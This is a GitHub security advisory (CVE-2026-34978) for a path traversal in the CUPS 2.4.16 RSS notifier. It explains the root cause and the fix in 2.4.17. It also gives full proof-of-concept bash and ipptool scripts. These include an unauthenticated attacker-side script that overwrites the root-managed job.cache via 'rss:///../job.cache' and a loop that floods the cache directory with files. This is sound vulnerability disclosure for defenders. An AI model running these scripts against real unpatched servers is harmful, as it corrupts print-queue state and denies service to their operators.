Skip to content

Path traversal in RSS notify-recipient-uri enables file write outside CacheDir/rss (and clobbering of job.cache)

Moderate
michaelrsweet published GHSA-f53q-7mxp-9gcr Mar 31, 2026

Package

cups

Affected versions

2.4.16

Patched versions

2.4.17

Description

Summary

CUPS 2.4.16’s RSS notifier allows .. path traversal in notify-recipient-uri (e.g., rss:///../job.cache), letting a remote IPP client write RSS XML bytes outside CacheDir/rss (anywhere that is lp-writable). In particular, because CacheDir is group-writable by default (typically root:lp and mode 0770), the notifier (running as lp) can replace root-managed state files via temp-file + rename(). This PoC clobbers CacheDir/job.cache with RSS XML, and after restarting cupsd the scheduler fails to parse the job cache and previously queued jobs disappear.

Details

Root cause is "unsafe path join + rename" on an attacker-controlled URI resource:

  • scheduler/ipp.c: subscription attributes (including notify-recipient-uri) are accepted either (a) in a Print-Job request’s subscription group or (b) via a separate Create-Printer-Subscription(s) request. The scheme is validated against an on-disk notifier program, but the resource path is not normalized (no .. removal).
  • scheduler/subscriptions.c: the full notify-recipient-uri is passed to the notifier as argv[1].
  • notifier/rss.c: for local RSS feeds, the notifier constructs the output path as:
    • filename = "<CacheDir>/rss" + resource
    • writes to filename.N, then rename(filename.N, filename)
      This allows resource="/../job.cache" to target <CacheDir>/job.cache (outside CacheDir/rss).
  • cups/http-support.c: httpSeparateURI() decodes/copies the resource without dot-segment normalization, so .. survives into resource.
  • Default permissions make this high impact: CUPS sets CacheDir to be group-writable (root:lp, 0770 - see scheduler/conf.c). With directory write permission and no sticky bit, a process running as lp can replace an existing root-owned 0640 file in that directory using rename().

PoC

Bare minimum repro

This is a short script to demonstrate arbitrary-writable-location file write and job.cache clobbering. The setup and the request to 127.0.0.1 happens on the same box (recommend running this on a throwaway VM with CUPS 2.4.16 and no other [system] CUPS).

Bare minimum repro script (Click to expand)
#!/usr/bin/env bash
set -euo pipefail

PREFIX=/opt/cups-2.4.16
BASE=/tmp/vh-cupsd
CACHEDIR=/var/cache/vh-cups-cache
OUT=/tmp/vh-rss-out.xml

sudo pkill -KILL -f "$PREFIX/sbin/[c]upsd" 2>/dev/null || true
sudo rm -rf "$BASE" "$CACHEDIR" 2>/dev/null || true
sudo rm -f "$OUT" 2>/dev/null || true
sudo mkdir -p "$BASE/etc/cups" "$BASE/run/cups" "$BASE/spool/cups/tmp" "$CACHEDIR/rss"

sudo chown root:lp "$CACHEDIR" "$CACHEDIR/rss"
sudo chmod 0770 "$CACHEDIR"
sudo chmod 0775 "$CACHEDIR/rss"

sudo install -o root -g lp -m 0640 /dev/null "$CACHEDIR/job.cache"

sudo tee "$BASE/etc/cups/cups-files.conf" >/dev/null <<CFG
SystemGroup sys root wheel
ServerRoot $BASE/etc/cups
StateDir $BASE/run/cups
RequestRoot $BASE/spool/cups
TempDir $BASE/spool/cups/tmp
CacheDir $CACHEDIR
DataDir $PREFIX/share/cups
DocumentRoot $PREFIX/share/doc/cups
ServerBin $PREFIX/lib/cups
AccessLog $BASE/run/cups/access_log
ErrorLog $BASE/run/cups/error_log
PageLog $BASE/run/cups/page_log
CFG

sudo tee "$BASE/etc/cups/cupsd.conf" >/dev/null <<CFG
LogLevel debug2
MaxLogSize 0
Listen 127.0.0.1:631
Listen $BASE/run/cups/cups.sock
Browsing No
BrowseLocalProtocols none
DefaultAuthType Basic
HostNameLookups Off
WebInterface Yes

<Location />
  Order allow,deny
  Allow from all
</Location>
CFG

sudo bash -lc "nohup $PREFIX/sbin/[c]upsd -C $BASE/etc/cups/cupsd.conf -s $BASE/etc/cups/cups-files.conf >/dev/null 2>&1 &"

for _ in $(seq 1 50); do
  if timeout 1 bash -lc "</dev/tcp/127.0.0.1/631" 2>/dev/null; then
    break
  fi
  sleep 0.1
done

CUPS_SERVER="$BASE/run/cups/cups.sock" \
  "$PREFIX/sbin/lpadmin" -p p1 -E -v file:/dev/null -m raw

TMP=$(mktemp -d /tmp/vh-rss-min-XXXXXX)
cat >"$TMP/payload.txt" <<PAY
hello
PAY

cat >"$TMP/poc.test" <<TEST
{
  OPERATION Print-Job
  GROUP operation
  ATTR charset attributes-charset utf-8
  ATTR language attributes-natural-language en
  ATTR uri printer-uri \$uri
  GROUP job
  ATTR name job-name "vh-rss"
  GROUP subscription
  ATTR uri notify-recipient-uri "\$notify"
  ATTR keyword notify-events job-completed
  FILE \$filename
  STATUS successful-ok
}
TEST

"$PREFIX/bin/ipptool" -q \
  -d uri="ipp://127.0.0.1:631/printers/p1" \
  -d filename="$TMP/payload.txt" \
  -d notify="rss:///../job.cache" \
  "$TMP/poc.test"

"$PREFIX/bin/ipptool" -q \
  -d uri="ipp://127.0.0.1:631/printers/p1" \
  -d filename="$TMP/payload.txt" \
  -d notify="rss:///../../../../tmp/vh-rss-out.xml" \
  "$TMP/poc.test"

# Wait for the xml headers to appear
for _ in $(seq 1 50); do
  if sudo head -n 1 "$CACHEDIR/job.cache" 2>/dev/null | grep -q "^<?xml" && head -n 1 "$OUT" 2>/dev/null | grep -q "^<?xml"; then
    break
  fi
  sleep 0.1
done

echo "Overwritten job cache and a random file:"
sudo ls -l "$CACHEDIR/job.cache" "$OUT"
echo
echo "Job cache is now XML:"
sudo head -n 2 "$CACHEDIR/job.cache"
echo
echo "The random file is also XML:"
head -n 2 "$OUT"
Sample output (Click to expand)
lpadmin: Raw queues are deprecated and will stop working in a future version of CUPS.
Overwritten job cache and a random file:
-rw-r--r--. 1 lp lp 589 Feb  5 04:00 /tmp/vh-rss-out.xml
-rw-r--r--. 1 lp lp 571 Feb  5 04:00 /var/cache/vh-cups-cache/job.cache

Job cache is now XML:
<?xml version="1.0"?>
<rss version="2.0">

The random file is also XML:
<?xml version="1.0"?>
<rss version="2.0">

More advanced repro

Below are two scripts: server-side and attacker-side. While both can run on the same host just as in the minimal repro above, you can run them on two separate networked hosts and demonstrate the PoC over the network. The PoC is a bit longer, to demonstrate not just a file write in an arbitrary (lp-writable) location, but also a reliable clobbering (and ownership change) of the CUPS job cache, resulting in queued jobs getting dropped.

Server-side (CUPS host)

This script resets job.cache, starts the test cupsd, creates a printer, waits for the attacker to clobber job.cache, then restarts cupsd to show the functional consequence (job list disappears + parse errors).

Server-side setup script (Click to expand)
#!/usr/bin/env bash
set -euo pipefail

PREFIX=/opt/cups-2.4.16
PRINTER=p1
PORT=631

SERVER_BASE=/tmp/vh-cupsd
CACHEDIR=/var/cache/vh-cups-cache

CONF="$SERVER_BASE/etc/cups/cupsd.conf"
FILES="$SERVER_BASE/etc/cups/cups-files.conf"
ERRLOG="$SERVER_BASE/run/cups/error_log"
SOCK="$SERVER_BASE/run/cups/cups.sock"
JOBCACHE="$CACHEDIR/job.cache"
REQUESTROOT="$SERVER_BASE/spool/cups"

# Clean slate (under /tmp/vh-cupsd and /var/cache/vh-cups-cache)
sudo pkill -KILL -f "$PREFIX/sbin/[c]upsd" 2>/dev/null || true
sudo rm -rf "$SERVER_BASE" 2>/dev/null || true
sudo rm -rf "$CACHEDIR" 2>/dev/null || true

sudo mkdir -p \
  "$SERVER_BASE/etc/cups" \
  "$SERVER_BASE/run/cups" \
  "$SERVER_BASE/spool/cups/tmp" \
  "$CACHEDIR/rss"

# Match default-ish perms: group-writable CacheDir (root:lp 0770, no sticky bit)
sudo chown root:lp "$CACHEDIR" "$CACHEDIR/rss"
sudo chmod 0770 "$CACHEDIR"
sudo chmod 0775 "$CACHEDIR/rss"

# Root-managed placeholder so the replacement is obvious.
sudo install -o root -g lp -m 0640 /dev/null "$JOBCACHE"

sudo tee "$FILES" >/dev/null <<CFG
SystemGroup sys root wheel
ServerRoot $SERVER_BASE/etc/cups
StateDir $SERVER_BASE/run/cups
RequestRoot $REQUESTROOT
TempDir $SERVER_BASE/spool/cups/tmp
CacheDir $CACHEDIR
DataDir $PREFIX/share/cups
DocumentRoot $PREFIX/share/doc/cups
ServerBin $PREFIX/lib/cups
AccessLog $SERVER_BASE/run/cups/access_log
ErrorLog $SERVER_BASE/run/cups/error_log
PageLog $SERVER_BASE/run/cups/page_log
CFG

sudo tee "$CONF" >/dev/null <<CFG
LogLevel debug2
MaxLogSize 0
Listen 0.0.0.0:$PORT
Listen $SOCK
Browsing No
BrowseLocalProtocols none
DefaultAuthType Basic
HostNameLookups Off
WebInterface Yes

<Location />
  Order allow,deny
  Allow from all
</Location>

<Policy default>
  <Limit All>
    Order deny,allow
  </Limit>
</Policy>
CFG

sudo bash -lc "nohup $PREFIX/sbin/[c]upsd -C $CONF -s $FILES >$SERVER_BASE/run/cups/cupsd.start.out 2>&1 &"

for _ in $(seq 1 100); do
  if timeout 1 bash -lc "</dev/tcp/127.0.0.1/$PORT" 2>/dev/null; then
    break
  fi
  sleep 0.1
done

CUPS_SERVER="$SOCK" \
  "$PREFIX/sbin/lpadmin" -p "$PRINTER" -E -v file:/dev/null -m raw

echo "SERVER_READY"
echo "Run attacker now: /home/vh/rss_attacker.sh <server-ip> $PORT $PRINTER"
echo

echo "Job cache before clobbering:"
sudo ls -l "$JOBCACHE"
echo "Watching for job.cache clobber (120s)..."

clobbered=0
for _ in $(seq 1 1200); do
  if sudo test -f "$JOBCACHE" && sudo head -n 1 "$JOBCACHE" | grep -q "^<?xml"; then
    clobbered=1
    break
  fi
  sleep 0.1
done

echo "CLOBBERED_JOB_CACHE=$clobbered"

if [[ "$clobbered" != "1" ]]; then
  echo "Did not catch the clobber window. Re-run the attacker script."
  exit 1
fi

echo "Job cache after clobbering:"
sudo ls -l "$JOBCACHE"
sudo head -n 2 "$JOBCACHE"

# Give the attacker request time to fully finish before we restart cupsd.
sleep 0.2
jobs_before=$(timeout 5 "$PREFIX/bin/lpstat" -h 127.0.0.1:$PORT -W all -o 2>/dev/null | wc -l || true)
echo "Job before restart: $jobs_before"

echo

echo "Restarting cupsd (to demonstrate functional consequence)..."
sudo pkill -KILL -f "$PREFIX/sbin/[c]upsd -C $CONF -s $FILES" 2>/dev/null || true
sleep 0.2
sudo bash -lc "nohup $PREFIX/sbin/[c]upsd -C $CONF -s $FILES >$SERVER_BASE/run/cups/cupsd.restart.out 2>&1 &"

for _ in $(seq 1 100); do
  if timeout 1 bash -lc "</dev/tcp/127.0.0.1/$PORT" 2>/dev/null; then
    break
  fi
  sleep 0.1
done

jobs_after=$(timeout 5 "$PREFIX/bin/lpstat" -h 127.0.0.1:$PORT -W all -o 2>/dev/null | wc -l || true)
echo "Jobs after restart (should be 0): $jobs_after"

echo "Error log:"
sudo tail -n 200 "$ERRLOG" | grep -E "Loading job cache file|Missing <Job #> directive" | tail -n 30 || true
2) Attacker-side script (run on same host or a remote host)

This performs two unauthenticated IPP operations: (1) submit a held job (job-hold-until=indefinite) so a queued job exists then (2) after waiting 50s for cupsd to flush job state to disk, create an RSS printer subscription with notify-recipient-uri=rss:///../job.cache. This is done to more reliably demonstrate job.cache clobbering + resultant jobs queue reset.

Attacker-side script (Click to expand)
#!/usr/bin/env bash
set -euo pipefail

if [[ $# -lt 1 ]]; then
  echo "Usage: $0 <server-ip> [port] [printer]" >&2
  exit 2
fi

TARGET_HOST="$1"
PORT="${2:-631}"
PRINTER="${3:-p1}"

IPPTOOL=/opt/cups-2.4.16/bin/ipptool
if [[ ! -x "$IPPTOOL" ]]; then
  IPPTOOL=ipptool
fi

WORKDIR="$(mktemp -d /tmp/vh-client-XXXXXX)"

cat >"$WORKDIR/payload.txt" <<\PAY
hello
PAY

cat >"$WORKDIR/printjob-held.test" <<\TEST
{
  OPERATION Print-Job
  GROUP operation
  ATTR charset attributes-charset utf-8
  ATTR language attributes-natural-language en
  ATTR uri printer-uri $uri
  ATTR name requesting-user-name attacker
  GROUP job
  ATTR name job-name "vh-held"
  ATTR keyword job-hold-until indefinite
  FILE $filename
  STATUS successful-ok
}
TEST

cat >"$WORKDIR/create-printer-subscription-rss.test" <<\TEST
{
  OPERATION Create-Printer-Subscription
  GROUP operation
  ATTR charset attributes-charset utf-8
  ATTR language attributes-natural-language en
  ATTR uri printer-uri $uri
  GROUP subscription
  ATTR uri notify-recipient-uri "$notify"
  ATTR keyword notify-events printer-state-changed
  STATUS successful-ok
}
TEST

URI="ipp://${TARGET_HOST}:${PORT}/printers/${PRINTER}"

echo "Creating a held job so a c* file exists, necessary for more deterministic job.cache clobbering"
"$IPPTOOL" -q \
  -d uri="$URI" \
  -d filename="$WORKDIR/payload.txt" \
  "$WORKDIR/printjob-held.test"

echo "Waiting 50s for cupsd to flush dirty job state (~30s by default)."
sleep 50

echo "Triggering clobber via a printer subscription..."
# Note: if this op is blocked, the same clobber works via Print-Job subscription attributes, just with less deterministic impact on CUPS
"$IPPTOOL" -q \
  -d uri="$URI" \
  -d notify="rss:///../job.cache" \
  "$WORKDIR/create-printer-subscription-rss.test"

echo "SUBMIT_DONE"
echo "TARGET=$URI"

Sample output

Sample output (Click to expand)
 ./rss_setup.sh &
[1] 243429
lpadmin: Raw queues are deprecated and will stop working in a future version of CUPS.
SERVER_READY
Run attacker now: /home/vh/rss_attacker.sh <server-ip> 631 p1

Job cache before clobbering:
-rw-r-----. 1 root lp 0 Feb  5 03:37 /var/cache/vh-cups-cache/job.cache
Watching for job.cache clobber (120s)...
[vh@vh-golden ~]$ ./rss_attacker.sh 127.0.0.1 631 p1
Creating a held job so a c* file exists, necessary for more deterministic job.cache clobbering
Waiting 50s for cupsd to flush dirty job state (~30s by default).
Triggering clobber via a printer subscription...
SUBMIT_DONE
TARGET=ipp://127.0.0.1:631/printers/p1
[vh@vh-golden ~]$ CLOBBERED_JOB_CACHE=1
Job cache after clobbering:
-rw-r--r--. 1 lp lp 316 Feb  5 03:38 /var/cache/vh-cups-cache/job.cache
<?xml version="1.0"?>
<rss version="2.0">
Job before restart: 1

Restarting cupsd (to demonstrate functional consequence)...
Jobs after restart (should be 0): 0
Error log:
I [05/Feb/2026:03:38:18 +0000] Loading job cache file "/var/cache/vh-cups-cache/job.cache"...
E [05/Feb/2026:03:38:18 +0000] Missing <Job #> directive on line 1 of /var/cache/vh-cups-cache/job.cache.
E [05/Feb/2026:03:38:18 +0000] Missing <Job #> directive on line 2 of /var/cache/vh-cups-cache/job.cache.
E [05/Feb/2026:03:38:18 +0000] Missing <Job #> directive on line 3 of /var/cache/vh-cups-cache/job.cache.
E [05/Feb/2026:03:38:18 +0000] Missing <Job #> directive on line 4 of /var/cache/vh-cups-cache/job.cache.
E [05/Feb/2026:03:38:18 +0000] Missing <Job #> directive on line 5 of /var/cache/vh-cups-cache/job.cache.
E [05/Feb/2026:03:38:18 +0000] Missing <Job #> directive on line 6 of /var/cache/vh-cups-cache/job.cache.
E [05/Feb/2026:03:38:18 +0000] Missing <Job #> directive on line 7 of /var/cache/vh-cups-cache/job.cache.
E [05/Feb/2026:03:38:18 +0000] Missing <Job #> directive on line 8 of /var/cache/vh-cups-cache/job.cache.
E [05/Feb/2026:03:38:18 +0000] Missing <Job #> directive on line 9 of /var/cache/vh-cups-cache/job.cache.
E [05/Feb/2026:03:38:18 +0000] Missing <Job #> directive on line 10 of /var/cache/vh-cups-cache/job.cache.
E [05/Feb/2026:03:38:18 +0000] Missing <Job #> directive on line 11 of /var/cache/vh-cups-cache/job.cache.

[1]+  Done                       ./rss_setup.sh

Broader availability/DoS impact

In addition to clobbering job.cache, the same traversal can create persistent attacker-chosen files in CacheDir (outside CacheDir/rss). For example, re-run the attacker ipptool call in a loop like so:

DoS-lite script (Click to expand)
WORKDIR="$(mktemp -d /tmp/vh-client-XXXXXX)"
SERVER_IP=127.0.0.1
cat >"$WORKDIR/payload.txt" <<\PAY
hello
PAY

cat >"$WORKDIR/printjob-with-rss-template.test" <<\TEST
{
  OPERATION Print-Job
  GROUP operation
  ATTR charset attributes-charset utf-8
  ATTR language attributes-natural-language en
  ATTR uri printer-uri $uri
  ATTR name requesting-user-name attacker
  GROUP job
  ATTR name job-name "vh-rss"
  GROUP subscription
  ATTR uri notify-recipient-uri "$notify"
  ATTR keyword notify-events job-completed
  FILE $filename
}
TEST

for i in $(seq 1 2000); do

  /opt/cups-2.4.16/bin/ipptool -q \
    -d uri="ipp://$SERVER_IP:631/printers/p1" \
    -d filename="$WORKDIR/payload.txt" \
    -d notify="rss:///../vh-flood-$i.xml" \
    $WORKDIR/printjob-with-rss-template.test
done

# On the server, assuming your cache dir is still set to /var/cache/vh-cups-cache; files will show up once jobs complete
sudo ls -la /var/cache/vh-cups-cache

To demonstrate a true DoS, you'd need to run long enough to exhaust disk/inodes, so I'd rate the Availability impact as low.

Impact

Vulnerability class: Path traversal leading to arbitrary file overwrite (as the notifier user, typically lp).
Who is impacted: Deployments where untrusted clients can submit IPP Print-Job requests with job subscriptions (including notify-recipient-uri), and where the RSS notifier is available (default).
Security impact:

  • Integrity (High): clobber/replace root-managed state files inside CacheDir (e.g., job.cache) via directory-writable rename logic, leading to persistent state corruption.
  • Availability (Low): loss of queued job state across restart (jobs disappear) and startup parse errors. A stronger DoS is possible by repeated persistent file creation to exhaust disk/inodes in CacheDir.

EDIT:
The vulnerability was fixed by Mike at the time of publishing it.

Fixes:
master af366b1 Fix RSS notifier.

2.4.x 730347c Fix RSS notifier.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

CVE ID

CVE-2026-34978

Weaknesses

No CWEs

Credits